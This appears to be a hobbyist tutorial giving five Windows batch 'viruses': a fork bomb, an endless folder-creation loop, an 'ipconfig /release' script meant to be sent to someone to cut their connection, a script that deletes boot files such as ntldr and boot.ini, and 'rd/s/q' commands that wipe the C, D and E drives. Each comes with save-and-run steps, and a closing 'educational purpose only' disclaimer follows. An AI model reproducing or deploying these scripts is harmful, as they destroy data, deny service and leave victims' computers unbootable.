How to make 5 simple Viruses

#1)How To Make The Simplest Virus – Fork Bomb

Launching fork bomb will lead to total CPU jam by opening about 500 process of command prompt .
CPU usage will be overloaded and computer will freeze.

1) Launch notepad and type

%0|%0

2) Save as .bat , for example Roshan.bat

3) Launch .bat file that you created in step 2 , once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation.

#2) How To make A virus That Will Make 1,000 Folders In Few Seconds

Here I will teach you simple virus that will make an unlimmited amount of folders in any place you want.
Step 1 : Open notepad and type :
 
 @echo off
:top
md %random%
goto top

@echo off
 makes it so that it appears to be a blank screen but actually its making hundreds of folder.

md %random%
 is command that creating folders with random names.

goto top - return to label :top , infinite loop

Step 2 : Save it as 1000folders.bat

Step 3 : Right click on icon and click Create Shortcut.

Step 4 : Right click on shortcut and click properties , then click on Change Icon and rename icon.

#3)How to stop someone's internet

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. 
          Simply type in IPconfig /renew in cmd.

#4) How to crash a PC Forever 

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste above codes. Save it as a roshan.bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE.

#5) Format all drives in few sec
 Process:
Open Notepad
Copy the below command there
"rd/s/q D:\
rd/s/q C:\
rd/s/q E:\" ( without quotes )
Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

Note: Don't practice this kind of tricks as it will destroy your computer or can cause serious problem. We are not responsible for any kinds of harms done after practicing above tutorial. Its only for educational purpose. Hacking is strictly prohibited.